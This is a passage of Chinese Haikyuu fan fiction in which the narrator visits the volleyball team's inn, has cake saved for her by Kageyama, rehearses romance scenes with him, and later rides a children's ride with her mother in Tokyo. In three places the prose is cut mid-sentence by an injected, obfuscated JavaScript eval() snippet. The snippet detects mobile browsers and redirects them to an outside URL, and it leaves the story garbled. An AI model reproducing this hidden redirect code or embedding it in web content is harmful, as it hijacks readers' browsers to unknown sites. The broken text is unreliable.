没过多久,月岛萤给我发了消息,说教练一听说是我要来,直接就同意了,还问我要不要六点半再过去,那会儿刚好开饭。 当然是不要啦,今天阿姨晚上可是会给我做美味铁板肥牛拌饭的,不能辜负家里的美食呀。 我约了七点半去,晚一个小时,肯定不会出什么错。 于是—— 晚上七点半,我准时出现在旅馆门口。 在大厅迎接我的是月岛萤和乌养教练。 金发青年嘴里还叼着根烟,但他没有点燃,看到我出现后,他将烟收起来,接过我手上的水果盒:“你终于来了,怎么又带了东西?” “你们训练也辛苦了嘛,都是小东西。” 我跟着乌养教练往里头走,左看看右看看,打量着旅馆内的环境。 看的出来这家店老师们有精心选过,虽然是住宅式的老旅馆,但很明显翻修过,不管是脚下的地板还是贴了墙纸的墙壁,都是崭新且成套搭配的。 挂画和摆件也有些年头,都是质量不错的物件。 大厅的右边连接着餐厅,是自助的形式,自己想吃什么就打什么,我过去的时候那里已经没人了,毕竟离开饭已经过了一小时,再过一小时,餐厅就要撤餐了。 另一边是健身房,除了健身房,走廊尽头还有一个室内排球馆,从后门出去就是室外篮球场,完全实现了少年们的运动自由——他们之前的打算原本是找个离学校近的住宿点住一起,再蹭一蹭学校的体育馆和运动场,现在不需要了,队员们在训练之余,想练腿练腿,想练手练手,还能解锁一些新的训练项目。 排球馆和健身房都是十点关门,现在走近了还能听到里面的人在地板上跑动的声音,以及球体撞击的声音。 我从门口探头看过去,发现排球部的少年么基本都在排球馆加练,不过因为刚吃完饭没多久,大家的动作都不是很激烈,基本都是触球类的小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781834|171240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动作。 乌养教练推开门,里面的人下意识往这边看来,纷纷停下了手里的动作,和我打招呼: “桃沢同学!” “桃沢学妹!” “晚上好呀。” “你可算来了,翔阳一直追着山口问你什么时候来呢。” 日向翔阳从东峰旭身后冒头,脸上露出灿烂的笑容:“小桃!” 在他不远处是抱着排球安静站着的影山飞雄。 他没有像其他人那样和我热情地打招呼,就只是在旁边默默投来视线。 即使是这样,他本身的光辉也并不会被他人遮盖住,即使他站在人群的后方,只是那样看着我,我也一眼就注意到了他。 不过现在不是找他说话的好时机,不可以辜负别人对我的热情。 我和学长们一一打过招呼,再和蹦蹦跳跳朝我跑来的日向翔阳碰头。 月岛萤和山口忠一起推了张桌子过来给乌养教练放水果盒,学长们顿时有些惊喜,围到桌子前面,趴在桌边,看着品相绝佳,上面还挂着水珠的芒果和葡萄发出此起彼伏的惊叹。 ——这不是普通的芒果,这是百货店里的芒果! 哇……她居然去黑店买水果哇…… 众人纷纷偷看一眼。 我不明所以地报以一个纯良的微笑。 他们又纷纷默默收回目光。 下次可不能让小学妹单独去买东西了,她小学妹对物价好像没有什么概念。 但既然已经斥巨资买了,他们还是要虔诚地报以感谢—— 感谢金主大爹的投喂! 看着少年们好吃到流泪的表情,我的心里莫名升起一种满足感。 真好真好,这就是有效投喂哇。 “那个,桃沢。” 影山飞雄没有去吃水果,他走到了我身边。 “怎么了?” “有个东西。” 他一脸认真且鬼鬼祟祟地朝我招手:“和我来一下。” 好像是在明着说,他给我挖了一个坑,想让我现在立马就跳下去。 他想干什么? 我的警惕雷达一瞬间亮起来。 不过在有所防备的同时,我又很好奇他会给我准备怎样的陷阱。 犹豫了一瞬,我还是跟着影山飞雄走了。 他领着我走出排球馆,走过走廊,在我越发疑惑的目光下,推开了餐厅的门。 刚刚乌养教练就已经带我来这里看过了,自助形式的餐厅,如果某一样菜品快没有了才会有服务员过来加菜。 这会儿没有人在里头吃饭,餐厅里只有那个服务员在守着,只等八点半一到就撤餐。 我们进来的时候,服务员姐姐抬头看过来,视线在影山飞雄和我身上停留几秒,随后露出一个笑容,抬手偷偷指了指餐台上的其中一个盖上盖子的餐盘。 影山飞雄轻轻点头,又带着我往那边走。 居然还联合了这里的工作人员…… 我越发有些好奇,但出于对危险和惊吓的警惕,我没有靠得太近,而是停在了理餐台有一定距离的位置。 少年没有给我留悬念的时间,他直接将盖子打开。 我探头一看。 放在里头的,是一块保存十分完好的蛋糕。上面涂抹着粉色奶油,中间夹层是草莓酱和切碎的草莓果肉,蛋糕表层放置着两块切开的草莓,坠着一片绿色的欧芹。 “今天的甜点是草莓蛋糕和巧克力蛋糕,我记得你喜欢草莓。” 他对我说:“月岛说你晚上会过来。” 我有些愣住。 ……哇。 这个惊喜。 可真是有点吓到我了。 30.三十条鱼 有时候真是觉得不可思议。 我对影山飞雄的初印象并不好,毕竟最开始的相遇并不算美好,给我添了不少麻烦,而且明明有着这么聪明的脑袋,优越的外表,一看就觉得他很精明的长相,却总是干蠢事,让人难以捉摸。 最近这段时间随着和他相处的时间增多,我发现影山飞雄的性格好像没有我想象的那样糟糕,他不完全是做事随心所欲的那种人,他会关心朋友,也会为朋友提供帮助。 从今天的事情来看,排球脑袋偶尔也会为他人着想…… 影山飞雄记住了我喜欢草莓,也记住了我喜欢甜食,为我留下来的东西不是他感兴趣的排球相关的,而是我喜欢的东西。 这样的朋友,是根本让人讨厌不起来的吧? 我看着眼前保存完好的甜点,用勺子挖下一块放进嘴里。 影山飞雄就坐在我对面,看了一会儿后,问我:“味道怎么样?” 餐厅送的免费甜点口感只能说是一般,只不过这点瑕疵可以被心意抚平,我觉得还挺好吃的。 于是我回答:“还不错哦。” “果然。”他抵住下巴点点头:“我偷偷吃了日向的蛋糕,有点太甜了,但又不想浪费,所以就想这种甜度对你应该刚刚好。” ……啊? 你说什么? 不想浪费? ……所以真相居然是他把不想吃的东西留给我吃是吗? 啊? 影山飞雄,你让我一败涂地,这样的话我刚刚的感动到底算什么? 我抬手扶住额头,眼神灰暗,透露着一种幻灭。 真是一位可怕的男性,他会平等地让每一个人都输得彻底。 一口气吃掉了剩下的蛋糕,我撑着桌面从椅子上站起来,愤愤地盯着他,说道:“既然我帮你解决了一个你不喜欢的‘小麻烦’,那接下来换你来帮帮我如何?” 影山飞雄疑惑地回应着我的视线,问:“是什么?” “哼。”我双手环胸,勾起嘴角:“待会儿你就知道了。” 这回轮到我给你惊吓了! 影山飞雄! 走出餐厅,隔了一段距离还能听到排球馆传出来的声音,我让影山飞雄带我去了他的房间,进去之后,我阴恻恻地反手关上了推拉门。 让我看看,男子高中生的临时住所会藏着一些什么样有趣的秘密呢! 我打量着影山飞雄的房间。 即使是旅店,他的房间也依旧收拾得干净整洁,榻榻米的地板上空空如也,只有在靠近柜子的地方有一个棕褐色的小矮桌。 咦,现在的男生都这么注重卫生吗? 阿月从小就很注重卫生问题,他的房间也是被他收拾得井然有序,不管什么时候我突然造访,都无法看到他房间脏乱的样子,甚至很多时候他来我家玩,他都会帮我收拾混乱的画室。 小忠的房间我倒是没去过,不过看他平常收拾东西的习惯,能看出来他也很擅长打理。 影山飞雄也是,能把临时住所都整理地这么干净,家里的房间估计也不差,这种细节很能看出来一个人的习惯。 可惜,在卫生方面我抓不到他的把柄。 ……算了,还是来说正事吧。 我稍微端正了一下自己的态度,推着影山飞雄在矮桌旁边坐下。 可能是看我严肃了些,影山飞雄也端正地跪坐着。 “要拜托你的是关于我工作的事情。”我正色道:“今天上午我收到了阿编的消息,想让我画一些纯洁爱情相关的剧情,让我的故事推动变得更为合理。但是我对恋爱这方面实在是很陌生,网上说的情节没有切身体验过,我也不懂角色在面对这些恋爱事件时的心情。” “我挑了几个热度比较高的情节出来,和影山稍微体验一下之后,希望你能给我反馈。” 虽然这样画出来的东西可能会有些工业糖精,可我实在是没有办法了,我的外置恋爱大脑雪宫剑优被阿月禁用了。 影山飞雄不是第一次帮忙体验恋爱情节,他觉得上一次两个人一起玩自行车的时候还挺有趣的,这一次他也更偏向于尝试,他想上忙。 他的表情也严肃起来,点点头,问:“要怎么做?” “首先还是要有一些身体接触。”我伸出一根手指,一副恋爱专家的模样,指挥道:“影山,请把你的手伸出来吧。” 影山飞雄听话地伸出手,掌心朝上。 我深呼吸一口气,右手指尖轻轻地从他的指尖开始触碰,慢慢地来到他的掌心,再从虎口处滑落到他的手背,双手捧住他的整只手。 他的手背不如掌心温度高,但是在被我捧住后,他的表情有些不自然,皮肤的温度也迅速上升,很快变得比我的掌心还要烫。 我及时问道:“是什么感觉?” 是什么感觉? 像是被小猫毛茸茸的爪子触摸,用柔软的肉垫按住指尖后,再用柔软的绒毛触碰皮肤,一路痒到心窝里似的,让人忍不住想去挠,却又不知道该挠哪里。 影山飞雄在停顿片刻后,结结巴巴地回答:“有、有点痒。” “有点痒?” 我没有这种感觉,可能是因为我是主动的一方,已经有了心里准备? 既然是这样的话,我需要从影山飞雄那里获得更多的感想。 这个环节他的反响一般,我决定加码。 牵手的下一步,肯定就是拥抱了吧? 如此想着,我又更靠近了一些,一只手按在他的腿侧,一只手放在他的腿上。 影山飞雄的呼吸瞬间放轻,他的眼睛一动不动地盯着我看,脑袋不受控制往后仰了仰,因为这个躲避的动作,他的身体平衡一下子被破坏,只能用手撑在身后,才不至于倒在榻榻米上。 他的腿也无法很好地保持跪坐的姿势,一条腿弯曲着,另一条腿直直地放着,大腿被我的手按住,暂时无法动弹。 这种一步一步进行的动作远比刚刚的牵手要来的更让人无所适从,影山飞雄不知道下一步要做什么,只是感觉到她在靠近,她在触碰,身体接触的部分也越来越多,自己的心跳也越来越快。 他低头看着她,粉色的脑袋像是三色丸子中最上面那一颗,因为离得很近,他能很轻易就闻到对方身上的香味,应该是头发上的香味……还有一种很淡的……牛奶味? 牛奶钙片?为什么她身上会有牛奶钙片的味道? 他想低头,靠近女生的颈脖附近再闻闻,对方却在他低头的同时,将脸颊贴在了他的胸口。 ……啊。 腰也被柔软的手臂圈住,就像是身上落下了一层漂亮的纱,明明是轻轻的、软软的,却让他的身体一瞬间僵硬起来,有些不知所措。 影山飞雄的脑袋完全空白,或者说在此刻挤入了很多不知道怎么用语言表达的信息,在无法加载后导致脑袋完全空白。 他抬起一只手,虚虚地放在女生的背上,没有胆子敢彻底抱住她。 此时,贴着自己的脸颊蹭了蹭胸口,这种触感微弱,却像在一瞬间点燃了引线,在胸腔炸开了绚丽的烟花。 影山飞雄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15789654|171240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有忍住,他微微坐直了一些,加深了这个拥抱。 “等、等等……”我整个人如同深陷泥沼,鼻尖也一下子满是男生衣服上清新的洗衣液的味道,但即便对方身上不难闻,我也很难接受我和一个男生这样毫无保留地拥抱。 好奇怪。 不应该是这的,他为什么突然就按住我的背抱上来了? 好、好奇怪。 他身上好烫。 按在背上的力度好重…… 我挣扎起来,“你抱的太用力了,我很难受!” 圈住自己的手一松,我立刻从他怀里钻出去,迅速逃离。 影山飞雄的视线在我的头顶停留了好一会儿,才看向我的眼睛,我从他那几乎没什么表情波动的脸上,居然看出了一些蠢蠢欲动。 他、他又要干什么? 他看我的头干什么啊? 我双手捂住自己的脑袋,摸到头发好像炸的不行,赶紧又用手指梳理着,边梳边避开他的视线,小声问:“刚刚,你有什么感觉?” 影山飞雄不知道。 影山飞雄只是觉得眼前好像出现了一只被揉炸毛的猫现在在很乖地给自己舔毛。 一向被小动物讨厌的少年碾了碾手指。 ……好想摸。 就一下也好,刚刚都已经抱到了,现在摸一摸应该不会过分吧? 他伸手将那粉色头顶曲起来的发丝抚平,还没有碰到头,对方便防备地往后退开好一段距离,很警惕地看着自己。 可惜,又跑了。 下次应该要趁抱住的时候再做些什么的。 影山飞雄放下手,再次看向那张漂亮的脸。 我看他一副心不在焉的样子,抿了抿嘴角,再问了一遍:“喂,我在问你呢,刚刚有没有什么感觉啊?” 他低着下巴认真思考,给出了回答:“好像是抱住了一团棉花,如果不搂紧一些的话,感觉随时都会被风吹走。” 啊,所以刚刚他才会抱得那么用力吗? 我希望他能说更多,鼓励地看着他,再问:“还有呢?还有什么感想吗?” “有。”影山飞雄坦然地回应我的视线:“还想再体验一次。” 我:“……只能一次。” 影山飞雄有些委屈,低下头轻轻地叹了一口气,看上去还挺遗憾。 我才不理他,我可不想再体验一次被沼泽包裹的感觉。 下一项吧,下一项…… “说起来,月岛说,你有在和一个牛郎联系?” 影山飞雄冷不丁的提问让我吓了一跳,不过,说是提问,他平淡的语气更像是肯定句。 我下意识抬头看他,停顿几秒才解释:“他不是牛郎,他是一个模特,人很好的,经常帮我。” “帮你。”他又问:“像我这样帮你吗?” 我:“=口=!” 等一下,怎么阿月都没发现的事情被你这么轻而易举地说出来了啊! 不是,不是不是不是,真的不是! 我慌忙摆手:“没有!他只是给我提供人体素材,还有一些让我觉得有趣的剧情和小细节,我们没有像这样肢体接触过!” 我不知道我在慌什么,但是我现在就是很慌。 影山飞雄看着我,又问:“什么人体素材?” 我:“……” “还需要付费?” “……” 我。 有人来杀我一下吗? 影山飞雄不是个笨蛋吗? 他不是个笨蛋啊! 31.三十一条鱼 不管怎么说,这次确实要感谢影山飞雄帮我提供灵感,他的这些心得体会都十分有用。 我们两个单独离开的时间不算长,可也绝对不短,二十分钟总是有的。担心楼下的少年们发现什么异常,我含含糊糊地几句话带过了雪宫的事情,拽着影山飞雄下了楼,重新溜回了排球馆。 学长们还在聊天,似乎没有发现我和影山短暂离席,桌面上的水果已经吃的差不多,只是每样都剩下了一部分,最后汇总封存在了一个盒子里。 咦,这些他们不吃吗?我感觉我没有买很多。 还是说不喜欢? 我挠挠头,不经意间注意到月岛萤看过来的视线,我不知道为什么浑身一僵,莫名就有些心虚。 阿月好像发现我和影山中途离开了。 我乖乖走到他身边站好。 “你们去哪儿了?”他问我。 他果然发现了。 我乖乖回答:“影山为我留了小蛋糕,我刚刚去吃小蛋糕了。” ——还顺便让他帮我体会了一下恋爱情节。 心里偷偷补充了一句,我没有将这句话说出口。 “那家伙居然还会顾及到别人的心情?”月岛萤冷哼:“还真是不可思议。” 是吧? 我一开始也这么认为的,直到我知道了他这么做的原因。 他只是把我当小垃圾桶诶~ 我不知道说什么好,只能保持假笑。 月岛萤又说:“刚刚你突然不见,日向在找你,我估计你是有什么事情要做,所以就先说你去上厕所了。” 哇……感谢阿月,不然我可能会经历一场奇怪的社会性死亡。 毕竟和不是青梅竹马的男同学偷偷离场共处一室,说出去多少还是有些暧昧,虽然我们什么都没干。 啊,对了,说到影山,那家伙呢? 我回头看去,正好看见可怜的少年被队友们簇拥着,推着他桌前,往他嘴里塞芒果的样子。 ……嗯,被学长和同级的热情淹没了呢,影山君。 同时我也知道了那些水果他们为什么不全部吃完了,一部分是给影山留下的,另一部分肯定是顾及到了没在旅馆住的武田老师和清水学姐。 “偶尔也觉得他们很有趣,对吧?”月岛萤问我。 我没有回头看他,也不知道他是以一种什么样的表情说出这句话的。 不过可以肯定的是,他很满意自己的伙伴。 曾经只有我和小忠的阿月,现在也有了自己觉得不错的队友。 小忠也是一样的。 我沉默了半晌,和月岛萤说:“明天我要回一趟东京,黄金周最后一天再回来。” 他一愣,身体都站直了一些,问:“这么突然?阿姨知道吗?” “知道。” 我是下午出门买水果之前给妈妈打的电话,她的工作很忙,我也需要预约。 月岛萤闻言,没有再多问,只是让我路上多注意安全。 再在这里待了一会儿,我差不多也要回去了,因为不想麻烦阿月或是小忠送我,我还特地叫了车。 排球部的少年们将我送到门口,我倒也再次体验了一把被簇拥着的热情,即使是坐上了车,我还是能透过后视镜看到他们迟迟没有离开,还在和我挥手。 想到月岛萤说的话,我忍不住在心里偷偷附和一句。 偶尔确实也会觉得他们很有趣。 车窗外的风景飞速后退,路灯的余光穿过大开的车窗落在我的手背上,我侧头看向窗外,明明是安逸平和的小镇,却一点一点在我眼中褪去,景象逐渐被记忆中的高楼大厦和灯红酒绿占据。 [叮。] 新信息的声音打断了我莫名其妙涌上来的惆怅,我低头一看,是影山飞雄给我发来的消息。 [影山:你要回东京了吗?] 这么快就从阿月那里听到了消息? 我回答:[是啊。] [影山:我去送你吗?] [蜜桃:还是不要了吧,不用在这种事情上浪费时间。] [影山:你的事情也很重要,不是浪费时间。] 我的手指停在屏幕上,迟迟没有输入拼音。 不知道是谁教他的,又或者真的是他自己的想法,他有时候会说出情商很高,让我也分辨不出真假的话。 不,应该是真的,影山飞雄就是一个不擅长虚与委蛇,有什么就说什么的人,他是真诚的,至少这一点我可以确定。 所以也更显得他偶尔超常发挥的高情商语录很可贵。 [蜜桃:我听阿月说,你们最后一天还要和别的学校练习赛吧?你还是抓紧时间训练,别输了。] [影山:哈?怎么可能。] [影山:我们是不会输的,你也稍微对我们有点自信吧!] [影山:……] [影山:我知道了,如果不亲眼见证的话,很难有说服力吧!] [影山:那天的练习赛你来看!] [影山:我们会赢的!] [蜜桃:说着狠话,但实际上是在邀请我?] [影山:没错,我就是在邀请你!] 我甚至能够想象到他发这条消息时耿直的表情。 有点想笑,但我还是忍住了,我回道:[看情况吧,能赶上我就来。] [影山:你一定要来啊!] [影山:一定啊!] [蜜桃:嗯嗯嗯。] 原本话题说到这里就应该结束了,我们之间其实也没什么好聊的。 只不过脑袋中对他的想象很多,我一直联想到了他坐在餐厅陪我吃着蛋糕的样子。 鬼使神差的,我又发了条消息出去:[今天的那个蛋糕,你真的是自己不喜欢,又觉得扔掉很浪费,所以才想让我处理掉吗?] [影山:是啊。] 我捏起梆硬的拳头。 真是够了,我到底是碰到了什么鬼,还要再在他那里去找一次不痛快。 被他毫不犹豫的“是啊”气到,我直接按下了手机锁屏,不想再回他的消息了。 却又见他说:[但主要还是因为你喜欢吧。] [影山:蛋糕很小,要是实在不想浪费,我也可以吃完,可是你不是会来吗?而且你喜欢甜的,也喜欢草莓。] [蜜桃:所以,你是真心实意想让我吃到我喜欢的东西?] [影山:是啊。] [蜜桃:那你下次就直接说‘我知道你很喜欢,这个是特意为你留的’,就可以了,不要说其他多余的话。] [影山:为什么?] [蜜桃:这样我会更高兴。] [影山:啊。] [蜜桃:知道了吗?] [影山:知道了。] 希望笨蛋影山是真的知道了。 我的指尖往上滑了滑,重新看了一遍我们的对话。 心里在不满这种简单的事情还要教,但同时也在开心他会乖巧应下来,为了我能更高兴而将我教的事情记在心里。 看着看着,我突然感觉到了一点不对劲。 我、我干什么要教他怎样让我更高兴? 难道不是、难道不是他怎样我都无所谓吗?反正他情商也很低,我讨厌他根本就不需要理由,他也根本就不需要让我觉得高兴呀! 而且这个过程就好像是…… 我下意识捂住了自己的脸颊。 狗狗握爪训练? 不不不不、不不不不,我在想什么,这完全就是不相同的事情! 就算影山飞雄有时候看起来很像一只大型犬,我也不可以…… 但。 可。 可他。 我捂住自己的眼睛。 不可以这么想! …… 时间来到第二天。 一到放假日就喜欢熬大夜的我在中午十一点半艰难地爬起来,半眯着惺忪的眼睛将阿姨留在冰箱里的早餐当做午餐解决掉,我终于是清醒了。 今天要出门的衣服早在昨天我就已经准备好,利落地换好海军领连衣裙,戴好我的蓝白学院海军帽,确认背包里的东西没有遗漏,我飞快出门,坐上了回东京的新干线。 黄金周的这几天天气都非常好。 湛蓝的天空一望无际,向世界的边间无限蔓延,云朵又轻又薄,像是蓝色长裙上点缀的纱,深深浅浅,如梦似幻,是大自然以天空作为裙摆,做出的最美的装饰。 随着新干线的飞速前进,那些薄纱一般的云朵也跟着我一起慢慢地移动,如同被风推动着前进,想始终将裙摆最靓丽的一面摆在我面前。 一下车,妈妈就在出站口等着我。 她身上穿着浅色的西装裙,看上去很有气质,脸上的妆容不不浓,十分适配裙子的颜色,全身上下的佩饰也就只有点缀在耳垂上的珍珠耳环,还有手腕上玫瑰金的细链手表。 似乎是刚从公司回来的样子。 妈妈一见到我,就搂过我的肩膀,压着她精心卷过的头发蹭了蹭我的脸,笑道:“真是好久没有见到我的宝贝了,最近这段时间怎么样?在乌野还算开心吗?” 我们隔一段时间会打一次电话,互相了解对方的近况,只不过上次绘画社的事情我没有和妈妈说。 我了解她,就像她同样了解我。她和我一样的敏感,如果知道我遇到了困难,首先就会责怪自己不能像别人的父母一样陪伴在我身边,帮助我解决问题。 那件事最后的结果我还算满意,与其让妈妈担心,还不如隐瞒下来,在宝贵的通话时间里多说一些开心的事情。 坐在车上,我也是和她挑挑拣拣说着待在排球部时发生的有趣片段,妈妈和我一起坐在后座,眼里是温柔的笑意,她就这样注视着我,明明是再普通不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807648|171240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的日常,她却听得津津有味,十分认真。 “在那里能够交到新朋友,真是太好了。”妈妈的掌心碰了碰我的脸颊,又问我:“今天妈妈的时间都是你的,绘里有没有想去的地方?” 想去的地方…… 我想了想。 我日常的娱乐时间比较少,最多也就是抱着手机刷刷动态,看看漫画,根本就不知道东京有什么地方是可以让母女一起去的。 妈妈见我面露迷茫,笑道:“既然绘里想不到,不如今天就听我安排?” 妈妈居然有想和我一起去的地方吗? 我的眼里升起期待,用力点点头:“好呀好呀,我听妈妈的!” 于是半个小时后。 我们出现在了一个商场里,来到了电玩城的门口,站在了一个摇摇车前。 没错,是摇摇车。 就是那个会唱“爸爸的爸爸叫爷爷”的儿童摇摇车。 先不说从头到脚都透露着一种商业味道的妈妈,就算是走的学院风穿搭的我,站在这个摇摇车前两个人都略显突兀。 很明显,这不是我这个年龄应该玩的东西,更不是妈妈这个年龄应该玩的东西。 妈妈做了个手势:“公主请上车。” 我:“?” 我? 真的假的? 我坐摇摇车? 妈? 我坐上去车子会塌吧? 还有你别公主请上车了啊!你看看你让我上的是什么破车啦! 妈妈依旧十分坚定:“坐吧宝贝。” 我:“……” 我实在是拗不过她,颤颤巍巍地坐在了摇摇车里,努力将自己的占地面积缩到最小,手也紧紧地抓住了身侧的车门。 妈妈一伸手,司机递来了硬币。 伴随着硬币掉落到硬币箱的声音响起,我屁股底下的摇摇车开始缓慢地往前往后晃动。 在悦耳的童谣响起时,妈妈双手交叠放在腹部,欣慰地看着我。 “绘里,不知道你还记不记得,你小时候总是在羡慕别人。羡慕别人的秋千,羡慕别人可以有来有回的玩着跷跷板,羡慕别人的摇摇车,路上看到别人在玩,你都会停下来看着。” “今天难得有空,绘里,你可以完全在妈妈的陪伴下将小时候爱玩的东西一次玩个够,你不用再去羡慕别人了。” 她的眼眶微红湿润,说话的声音也带着几分哽咽。 我双手扒在车门上,神情麻木地跟着摇摇车前后摇晃。 耳边依旧循环播放着邻国悦耳的童谣,合成的电子音正优美地唱着:[今天开始我要自己上厕所,爸爸妈妈你们不要小看我,宝宝巴士叫我上厕所秘诀,我等不及了我要上厕所。] 因为我中文不好,我完全听不懂这个摇摇车到底在唱什么,可能是刚好配合妈妈的话选上了一首抒情童谣。 看着妈妈发自肺腑怜爱着小时候的我,我倒也放下了一些社死的尴尬,坦然接受了现在我正坐在摇摇车上听儿歌的事实。 妈妈问我:“绘里,你高兴吗?” 妈妈,其实我不坐的话会更高兴。 这句话简直就要脱口而出,但我知道我不能这么说,这好歹也是妈妈对我的一片心意。 ……虽然这个心意确实是有点剑走偏锋了。 我现在只庆幸东京够大,我在东京待的时间也特别短,就算我坐在这里循环个七八遍,可能也没有人认识我。 而众所周知的,东京是一个包容的城市,它可以允许大家在路上奇装异服,也可以允许大家在公共场合大喊大叫,更允许大家走着走着突然模仿奇行种。 所以,我现在坐在儿童适用的娃娃车上听着童谣,应该也不会引起太多人的注—— “哎?” “那不是,桃沢?” 在被交出名字的那一瞬间,我的世界好像寂静了。 耳边听不到甜美的儿歌,感受不到摇摇车的晃动,也看不见远处穿着深色休闲服的俊美少年。 只可惜,掩耳盗铃的寓言故事告诉我们,自欺欺人是没有用的。 在喊出我的名字之后,就算我没有回头,也没有回应,他也一步一步朝我接近,并停在了离我和妈妈还有一些距离的位置。 少年有着一头发尾微卷的黑色短发,五官清秀,今天的穿搭显得他文艺十足。 他的身边是穿着白色运动套装,身材高大健壮,眼神很锐利的男生。 木兔光太郎目光如炬,眼神如同鹰一般锐利,他立马确认那是自己认识的学妹,伸手大鹏展翅:“是桃沢!真是好久不见了!” 我侧过身体,把头埋在自己的掌心中。 我不是桃沢我不是桃沢我不是桃沢我不是桃沢我不是桃沢。 ……不是,这种自我欺骗也没有办法骗过这两个人吧! 啊啊啊啊啊啊啊。 天塌了啊!